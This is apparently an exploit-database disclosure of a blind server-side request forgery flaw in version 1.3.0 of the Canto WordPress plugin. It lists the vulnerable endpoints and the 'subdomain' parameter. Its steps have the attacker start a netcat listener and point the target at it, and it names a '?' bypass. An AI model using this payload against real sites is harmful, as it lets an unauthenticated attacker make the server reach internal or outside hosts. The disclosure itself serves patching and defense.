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Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)

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# Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)
# Date: 03/12/2020
# Exploit Author: Pankaj Verma (_p4nk4j)
# Vendor Homepage: https://www.canto.com/integrations/wordpress/
# Software Link: https://github.com/CantoDAM/Canto-Wordpress-Plugin
# Version: 1.3.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978


Description:-
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.

Vulnerable Parameters and Endpoints:-
https://target/wp-content/plugins/canto/includes/lib/detail.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/get.php?subdomain=
https://target/wp-content/plugins/canto/includes/lib/tree.php?subdomain=

Steps To Reproduce:-
1. Start a Netcat Listener on any port For e.g. 4499
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="
3. Add the Attacker's IP and Port For e.g. "172.17.0.1:4499?" to "subdomain=" parameter.
4. Observe the response we got from the Target on Attacker's Listener.

Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.
            
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